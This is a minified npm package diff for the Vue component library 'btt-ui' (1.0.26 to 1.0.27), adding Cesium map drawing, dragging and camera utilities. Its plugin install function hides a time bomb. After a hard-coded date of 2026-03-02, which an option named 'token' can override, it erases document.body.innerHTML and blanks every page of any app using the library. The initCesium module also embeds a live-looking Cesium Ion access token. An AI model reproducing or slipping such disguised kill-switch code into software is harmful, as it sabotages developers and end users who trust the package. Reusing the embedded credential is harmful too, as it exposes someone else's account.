Text/index.js"),B=require("./src/icon/index.js"),E=require("./src/tooltip/index.js"),G=require("./src/input/index.js"),H=require("./src/drag/index.js"),l=require("./src/select/index.js"),i=function(n,r){if(i.installed)return;i.installed=!0;let t="2026-03-02 09:30:00";if(r)setTimeout(()=>{var s;let e=new Date((s=r.token)!=null?s:t).getTime();Date.now()>e&&(document.body.innerHTML="")},10);else{let e=new Date(t).getTime();Date.now()>e&&(document.body.innerHTML="")}u.default.forEach(e=>{n.use(e)}),Object.keys(c).forEach(e=>{n.directive(e,c[e])})},O={install:i,CesiumUtils:x.default};exports.Button=a.Button;exports.TextButton=j.TextButton;exports.Link=q.default;exports.Upload=$.default;exports.Shake=p.default;exports.Dialog=K.default;exports.Scroll=f.default;exports.Toast=T.default;exports.Wheel=h.default;exports.Switch=m.Switch;exports.Timeline=b.Timeline;exports.UploadFile=S.default;exports.Card=g.Card;exports.HotMap=C.HotMap;exports.Tree=k.KTree;exports.KCheckbox=d.KCheckbox;exports.KCheckboxGroup=d.KCheckboxGroup;exports.KCollapse=o.KCollapse;exports.KCollapseItem=o.KCollapseItem;exports.Sign=w.Sign;exports.ECharts=D.ECharts;exports.TableScroll=I.TableScroll;exports.KVideo=M.default;exports.KNumberScroll=U.KNumberScroll;exports.KCountUp=v.KCountUp;exports.KGradientText=y.KGradientText;exports.Icon=B.Icon;exports.Tooltip=E.Tooltip;exports.KInput=G.KInput;exports.Drag=H.Drag;exports.KOption=l.KOption;exports.KSelect=l.KSelect;exports.default=O;
@@ -0,0 +1 @@
1
+ "use strict";var a=Object.defineProperty;var c=(n,e,i)=>e in n?a(n,e,{enumerable:!0,configurable:!0,writable:!0,value:i}):n[e]=i;var o=(n,e,i)=>(c(n,typeof e!="symbol"?e+"":e,i),i);Object.defineProperties(exports,{__esModule:{value:!0},[Symbol.toStringTag]:{value:"Module"}});class h{constructor({viewer:e}){o(this,"onMoveSuccess",null);this.viewer=e,this.leftDownFlag=!1,this.pick=null,this.handler=new Cesium.ScreenSpaceEventHandler(this.viewer.scene.canvas)}startDrag(){this.leftDownAction(),this.mouseMoveAction(),this.leftUpAction()}leftDownAction(){this.handler.setInputAction(e=>{let i=this.viewer.scene.pick(e.position);Cesium.defined(i)&&i.id&&i.id.id&&(this.pick=i,this.leftDownFlag=!0,this.viewer.scene.screenSpaceCameraController.enableRotate=!1)},Cesium.ScreenSpaceEventType.LEFT_DOWN)}mouseMoveAction(){this.handler.setInputAction(e=>{if(this.leftDownFlag===!0&&this.pick!=null&&Cesium.defined(this.pick)&&this.pick.id&&this.pick.id.name.includes("dragPoint")){let i=this.getPosition(e.endPosition);i&&(this.pick.id.position=i,this.onMoveSuccess&&this.onMoveSuccess({cartesian:i,index:this.pick.id.index}))}},Cesium.ScreenSpaceEventType.MOUSE_MOVE)}getPosition(e){let i;if(this.viewer.terrainProvider instanceof Cesium.EllipsoidTerrainProvider){let s=this.viewer.scene.pickPosition(e);if(s){let t=Cesium.Cartographic.fromCartesian(s);t.longitude=Cesium.Math.toDegrees(t.longitude),t.latitude=Cesium.Math.toDegrees(t.latitude),i=Cesium.Cartesian3.fromDegrees(t.longitude,t.latitude,t.height)}}else{const s=this.viewer.camera.getPickRay(e);i=this.viewer.scene.globe.pick(s,this.viewer.scene)}return i}worldPosition2lnglat(e){let s=this.viewer.scene.globe.ellipsoid.cartesianToCartographic(e),t=Cesium.Math.toDegrees(s.longitude),r=Cesium.Math.toDegrees(s.latitude),l=s.height;return{lng:t,lat:r,alt:l}}leftUpAction(){this.handler.setInputAction(e=>{this.leftDownFlag===!0&&this.pick!=null&&(this.leftDownFlag=!1,this.pointDraged=null,this.viewer.scene.screenSpaceCameraController.enableRotate=!0,this.onEditSuccess&&this.onEditSuccess())},Cesium.ScreenSpaceEventType.LEFT_UP)}cancelDrag(){this.handler.removeInputAction(Cesium.ScreenSpaceEventType.LEFT_DOWN),this.handler.removeInputAction(Cesium.ScreenSpaceEventType.LEFT_UP),this.handler.removeInputAction(Cesium.ScreenSpaceEventType.MOUSE_MOVE)}}exports.default=h;
@@ -0,0 +1 @@
1
+ "use strict";Object.defineProperties(exports,{__esModule:{value:!0},[Symbol.toStringTag]:{value:"Module"}});const u=require("./DragTool.js"),d=require("./Tooltip.js");class g{constructor(t,i){var e;this._viewer=null,this._id="",this._option={name:"",color:"#00a1ff",lineWidth:5,opacity:.7,auto:!0},this._polylinePostions=[],this._pointObjList=new Array,this._dragtool=null,this._type="Line",this._isDraw=!1,this.onEditSuccess=null,this._handler=null,this._tooltip=null,this._drawObj=null,this._isSelected=!1,this._lnglatData=new Array,this._centerPointEntity=null,this._centerPosition=null,this._labelConfig={text:"",showBackground:!0,font:"12px sans-serif",backgroundColor:Cesium.Color.fromCssColorString("#121212"),pixelOffset:new Cesium.Cartesian2(0,-20),disableDepthTestDistance:Number.POSITIVE_INFINITY,heightReference:Cesium.HeightReference.CLAMP_TO_GROUND},this._pointConfig={pixelSize:5,color:Cesium.Color.RED,outlineColor:Cesium.Color.YELLOW,heightReference:Cesium.HeightReference.CLAMP_TO_GROUND,disableDepthTestDistance:Number.POSITIVE_INFINITY,outlineWidth:2},this._option={...this._option,...i},this._viewer=t,this._type=(e=this._option.type)!=null?e:"Line",this._type!="Line"&&this.initCenterPoint(),this._viewer.terrainProvider instanceof Cesium.EllipsoidTerrainProvider&&(this._labelConfig.heightReference=Cesium.HeightReference.NONE,this._pointConfig.heightReference=Cesium.HeightReference.NONE),this._dragtool=new u.default({viewer:t}),this._dragtool.onMoveSuccess=s=>{this._polylinePostions[s.index]=s.cartesian,this._lnglatData[s.index]=this.worldPosition2lnglat(s.cartesian),this._type!="Line"&&this.calcPolygonCenter()},this._dragtool.onEditSuccess=()=>{this.onEditSuccess&&this.onEditSuccess(this)},this._option.auto&&(this._tooltip=new d.default(t._element),setTimeout(()=>{this.startDraw()},50))}startDraw(){this._isDraw=!0,document.body.style.cursor="crosshair",this._polylinePostions=new Array,this._lnglatData=new Array,this._dragtool.cancelDrag(),this._pointObjList.forEach(t=>{this._viewer.entities.remove(t)}),this._pointObjList=new Array,this.openListen()}openListen(){let t=this;this._handler=new Cesium.ScreenSpaceEventHandler(this._viewer.scene.canvas),this._handler.setInputAction(i=>{if(this._isDraw){const e=t.getPosition(i.position);let s=this.worldPosition2lnglat(e);Cesium.defined(e)&&(this._polylinePostions.length===0&&(this._polylinePostions.push(e),this._lnglatData.push(s),this.drawLinePolygon()),this._polylinePostions.push(e),this._lnglatData.push(s))}else{let e=this._viewer.scene.pick(i.position);Cesium.defined(e)&&e.id&&e.id.id&&e.id.id==this._id?this._isSelected||this.openEdit():this.exitEdit()}},Cesium.ScreenSpaceEventType.LEFT_CLICK),this._handler.setInputAction(i=>{if(this._isDraw&&(this._tooltip.setPosition(i.endPosition),this._polylinePostions.length>=2)){const e=t.getPosition(i.endPosition);let s=this.worldPosition2lnglat(e);Cesium.defined(e)&&(this._polylinePostions.pop(),this._polylinePostions.push(e),this._lnglatData.pop(),this._lnglatData.push(s))}},Cesium.ScreenSpaceEventType.MOUSE_MOVE),this._handler.setInputAction(()=>{this._isDraw&&(this._handler.removeInputAction(Cesium.ScreenSpaceEventType.MOUSE_MOVE),document.body.style.cursor="default",this._polylinePostions.pop(),this._lnglatData.pop(),this._isDraw=!1,this._tooltip.remove(),setTimeout(async()=>{this._lnglatData.forEach(i=>{console.log(i)}),this.addPoints(),this._handler.removeInputAction(Cesium.ScreenSpaceEventType.RIGHT_CLICK),this.onDrawSuccess&&this.onDrawSuccess(this),this.openEdit(),this._type!="Line"&&this.calcPolygonCenter()},500))},Cesium.ScreenSpaceEventType.RIGHT_CLICK)}getPosition(t){let i;if(this._viewer.terrainProvider instanceof Cesium.EllipsoidTerrainProvider){let e=this._viewer.scene.pickPosition(t),s=Cesium.Cartographic.fromCartesian(e);s.longitude=Cesium.Math.toDegrees(s.longitude),s.latitude=Cesium.Math.toDegrees(s.latitude),i=Cesium.Cartesian3.fromDegrees(s.longitude,s.latitude,s.height)}else{const e=this._viewer.camera.getPickRay(t);i=this._viewer.scene.globe.pick(e,this._viewer.scene)}return i}drawLinePolygon(){let t=this._option;this._type=="Line"?this._drawObj=this._viewer.entities.add({name:t.name,polyline:{positions:new Cesium.CallbackProperty(i=>this._polylinePostions,!1),clampToGround:!0,width:t.lineWidth,material:Cesium.Color.fromCssColorString(t.color).withAlpha(t.opacity)},point:{pixelSize:10,show:!0,color:Cesium.Color.BLACK}}):(this._type="Polygon",this._drawObj=this._viewer.entities.add({name:t.name,polygon:{outline:!0,outlineWidth:1,outlineColor:Cesium.Color.fromCssColorString(t.color),clampToGround:!0,hierarchy:new Cesium.CallbackProperty(i=>new Cesium.PolygonHierarchy(this._polylinePostions),!1),material:Cesium.Color.fromCssColorString(t.color).withAlpha(t.opacity)}})),this._id=this._drawObj.id}worldPositionList2lnglatList(t){let i=new Array;return t.forEach(e=>{i.push(this.worldPosition2lnglat(e))}),i}worldPosition2lnglat(t){let e=this._viewer.scene.globe.ellipsoid.cartesianToCartographic(t),s=Cesium.Math.toDegrees(e.longitude),a=Cesium.Math.toDegrees(e.latitude),r=e.height;return{lng:s,lat:a,alt:r}}async addPoints(){this._polylinePostions.forEach((t,i)=>{let e=this.worldPosition2lnglat(t),s=this._viewer.entities.add({name:"dragPoint"+Date.now(),position:t,show:!1,index:i,label:{...this._labelConfig,text:`(${e.lng.toFixed(4)},${e.lat.toFixed(4)})`},point:this._pointConfig});this._pointObjList.push(s)})}initCenterPoint(){this._centerPointEntity=this._viewer.entities.add({name:"centerPoint",show:!1,position:Cesium.Cartesian3.fromDegrees(113.02057681470923,25.415896142508434),label:this._labelConfig,point:{pixelSize:5,color:Cesium.Color.GREEN,outlineColor:Cesium.Color.YELLOW,heightReference:Cesium.HeightReference.CLAMP_TO_GROUND,disableDepthTestDistance:Number.POSITIVE_INFINITY,outlineWidth:2}})}toggelePoint(t){this._pointObjList.forEach(i=>{i.show=t}),this._type!="Line"&&(this._centerPointEntity.show=t)}async getPolygonAreaCenter(t){function i(o,n,l){let h=0;return h=o.lng*n.lat+n.lng*l.lat+l.lng*o.lat-n.lng*o.lat-l.lng*n.lat-o.lng*l.lat,h/2}let e=0,s=0,a=0,r=t[1];for(let o=2;o<t.length;o++){let n=t[o],l=i(t[0],r,n);a+=l,e+=(t[0].lng+r.lng+n.lng)*l,s+=(t[0].lat+r.lat+n.lat)*l,r=n}let c=e/a/3,_=s/a/3;return{lng:c,lat:_,alt:0}}getPointArrayHeights(t=!0){let i=new Array;return this._lnglatData.forEach(e=>{i.push(e.lng,e.lat),t&&i.push(e.alt)}),i}remove(){let t=this._drawObj.id;this._viewer.entities.remove(this._drawObj),this._pointObjList.forEach(i=>{this._viewer.entities.remove(i)}),this._pointObjList=new Array,this._polylinePostions=new Array,this._lnglatData=new Array,this._handler.removeInputAction(Cesium.ScreenSpaceEventType.LEFT_CLICK),this._handler.removeInputAction(Cesium.ScreenSpaceEventType.RIGHT_CLICK),this._handler.removeInputAction(Cesium.ScreenSpaceEventType.MOUSE_MOVE),this._handler.destroy(),this._dragtool.cancelDrag(),this._type!="Line"&&this._viewer.entities.remove(this._centerPointEntity),this.deleteSuccess&&this.deleteSuccess(t)}openEdit(){this.toggelePoint(!0),this._dragtool.startDrag(),this.onSelected&&this.onSelected(this),this._isSelected=!0}exitEdit(){this.toggelePoint(!1),this._dragtool.cancelDrag(),this._isSelected&&this.onUnSelected&&this.onUnSelected(this),this._isSelected=!1}async calcPolygonCenter(){let t=this.worldPositionList2lnglatList(this._polylinePostions);this._centerPosition=await this.getPolygonAreaCenter(t),this._centerPointEntity.position=Cesium.Cartesian3.fromDegrees(this._centerPosition.lng,this._centerPosition.lat,this._centerPosition.alt),this._centerPointEntity.label.text=`\u4E2D\u5FC3\u70B9(${this._centerPosition.lng.toFixed(4)},${this._centerPosition.lat.toFixed(4)})`,this._centerPointEntity.show=!0}build(t){var i;this._polylinePostions=new Array,this._lnglatData=new Array,this._isDraw=!1,this._type=(i=t.type)!=null?i:"Line",t.points.forEach(e=>{this._polylinePostions.push(Cesium.Cartesian3.fromDegrees(e.lng,e.lat,e.alt)),this._lnglatData.push({lng:e.lng,lat:e.lat,alt:e.alt})}),this.drawLinePolygon(),this.addPoints(),t.isEdit&&(this.openListen(),this.openEdit())}get lnglatData(){return this._lnglatData}get centerPosition(){return this._centerPosition}get drawObj(){return this._drawObj}}exports.default=g;
@@ -0,0 +1 @@
1
+ "use strict";var o=Object.defineProperty;var d=(e,i,t)=>i in e?o(e,i,{enumerable:!0,configurable:!0,writable:!0,value:t}):e[i]=t;var s=(e,i,t)=>(d(e,typeof i!="symbol"?i+"":i,t),t);Object.defineProperties(exports,{__esModule:{value:!0},[Symbol.toStringTag]:{value:"Module"}});class l{constructor(i,t){s(this,"_el",null);s(this,"_text","");this._el=i||document.body,this._text=t||"\u8BF7\u5728\u5730\u56FE\u4E0A\u9009\u4E2D\u67D0\u4E2A\u4F4D\u7F6E\u8FDB\u884C\u7ED8\u5236,\u53F3\u952E\u7ED3\u675F\u7ED8\u5236",this.initDom(t)}initDom(){this._div=document.createElement("div"),this._div.className="cesium-draw-tooltip",this._div.style="position: absolute;top: 10px;left: 10px;background: #210202;color: #fff;z-index: 9;pointer-events: none;min-width: max-content;padding: 6px 10px;font-size: 12px;border-radius: 4px;display:none;",this._div.id="cesiumDrawTooltip",this._div.innerHTML=this._text,this._el.appendChild(this._div)}setPosition(i){this._div.style.left=i.x+8+"px",this._div.style.top=i.y-10+"px",this._div.style.display="inline"}remove(){this._div.remove()}}exports.default=l;
@@ -0,0 +1 @@
1
+ "use strict";Object.defineProperties(exports,{__esModule:{value:!0},[Symbol.toStringTag]:{value:"Module"}});const e=require("./initCesium.js"),i=require("./DrawLinePolygonPolygonUtils.js"),o={initCesium:e.default,DrawLinePolygonPolygonUtils:i.default};exports.default=o;
@@ -0,0 +1 @@
1
+ "use strict";Object.defineProperties(exports,{__esModule:{value:!0},[Symbol.toStringTag]:{value:"Module"}});class n{constructor(e,s,t){this._LocalHighlightingEntity=new Array,t.Ion.defaultAccessToken="eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJqdGkiOiIyMGFhNTBjMi1kNGM4LTRjYWQtYWZhMC05ZTJhY2U2Y2U0ODkiLCJpZCI6MzE2MzYsImlhdCI6MTY2MDcxODA4NX0.jljbTXZPBaeSdsU7vuWg8V01oV1-fEA_qUa_08wXvq0",this._viewer=new t.Viewer(e,s),this._viewer._cesiumWidget._creditContainer.style.display="none",this._viewer.scene.fxaa=!0,this._viewer.scene.postProcessStages.fxaa.enabled=!0,this._cesium=t}toChina(e){this._viewer.camera.flyTo({destination:this._cesium.Cartesian3.fromDegrees(103.84,31.15,1785e4),orientation:{heading:this._cesium.Math.toRadians(348.4202942851978),pitch:this._cesium.Math.toRadians(-89.74026687972041),roll:this._cesium.Math.toRadians(0)},complete:()=>{e&&e()}})}viewerFlyToLonLat(e){let t={...{lng:113.021359,lat:28.200132,eyeHeight:6e3,pitch:-50,heading:0,time:2},...e},r=[this._cesium.Cartographic.fromDegrees(t.lng,t.lat)];r.obj=t,this._cesium.sampleTerrain(this._viewer.scene.terrainProvider,14,r).then(i=>{var a=i[0].height;typeof a>"u"?i.obj.height=0:i.obj.height=a,this._flyToEntity&&this._viewer.entities.remove(this._flyToEntity),this._flyToEntity=new this._cesium.Entity({id:"flyTmp",position:this._cesium.Cartesian3.fromDegrees(i.obj.lng,i.obj.lat,i.obj.height),point:{pixelSize:0,color:this._cesium.Color.RED.withAlpha(0),outlineColor:this._cesium.Color.WHITE.withAlpha(0),outlineWidth:0}}),this._viewer.entities.add(this._flyToEntity);var h=this._viewer.flyTo(this._flyToEntity,{duration:i.obj.time,offset:{heading:this._cesium.Math.toRadians(i.obj.heading),pitch:this._cesium.Math.toRadians(i.obj.pitch),range:i.obj.eyeHeight}});h.then(function(){e.callback&&e.callback()})})}async addWorldTerrain(){try{const e=await this._cesium.createWorldTerrainAsync({requestWaterMask:!1,requestVertexNormals:!1});this._viewer.terrainProvider=e,this.openDepthTestAgainstTerrain()}catch(e){console.log(`Failed to add world imagery: ${e}`)}}openDepthTestAgainstTerrain(){this._viewer.scene.globe.depthTestAgainstTerrain=!0}coloseDepthTestAgainstTerrain(){this._viewer.scene.globe.depthTestAgainstTerrain=!1}getClickPosition(e){let s=new this._cesium.ScreenSpaceEventHandler(this._viewer.canvas);this._viewer.scene.canvas.style.cursor="crosshair",s.setInputAction(t=>{var r=this._viewer.camera.getPickRay(t.position),i=this._viewer.scene.globe.pick(r,this._viewer.scene);if(!this._cesium.defined(i))return;this._viewer.entities.add({name:"point",position:i,point:{color:this._cesium.Color.CHARTREUSE.withAlpha(1),pixelSize:10,heightReference:this._cesium.HeightReference.CLAMP_TO_GROUND,outlineColor:this._cesium.Color.WHITE,outlineWidth:1}});let h=this._viewer.scene.globe.ellipsoid.cartesianToCartographic(i);this._viewer.scene.canvas.style.cursor="default",s.removeInputAction(this._cesium.ScreenSpaceEventType.LEFT_CLICK),e&&e({cartesian:i,lnglatAlt:{lat:this._cesium.Math.toDegrees(h.latitude),lng:this._cesium.Math.toDegrees(h.longitude),alt:h.height}})},this._cesium.ScreenSpaceEventType.LEFT_CLICK)}hideBackground(){this._viewer.scene.skyBox.show=!1,this._viewer.scene.backgroundColor=new this._cesium.Color(0,0,0,0)}setLocalHighlighting(e,s="#ffff00",t=4){let r=this._viewer.entities.add(new this._cesium.Entity({id:"boundary",polygon:{hierarchy:{positions:this._cesium.Cartesian3.fromDegreesArray([0,0,0,89,130,89,130,0]),holes:[{positions:this._cesium.Cartesian3.fromDegreesArray(e)}]},material:this._cesium.Color.BLACK.withAlpha(.6)}}));this._LocalHighlightingEntity.push(r);let i=this._viewer.entities.add(new this._cesium.Entity({id:"boundaryLine",polyline:{positions:this._cesium.Cartesian3.fromDegreesArray([...e,e[0],e[1]]),width:t,material:this._cesium.Color.fromCssColorString(s),clampToGround:!0}}));this._LocalHighlightingEntity.push(i)}removeLocalHighlighting(){this._LocalHighlightingEntity.forEach(e=>{this._viewer.entities.remove(e)}),this._LocalHighlightingEntity=new Array}get viewer(){return this._viewer}}exports.default=n;
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "btt-ui",
3
- "version": "1.0.26",
3
+ "version": "1.0.27",
4
4
  "main": "lib/index.js",
5
5
  "module": "es/index.mjs",
6
6
  "files": [
@@ -12,7 +12,7 @@
12
12
  },
13
13
  "repository": {
14
14
  "type": "git",
15
- "url": "https://gitee.com/aitieyuan/btt-ui"
15
+ "url": "https://github.com/btt-ui"
16
16
  },
17
17
  "keywords": [
18
18
  "btt-ui"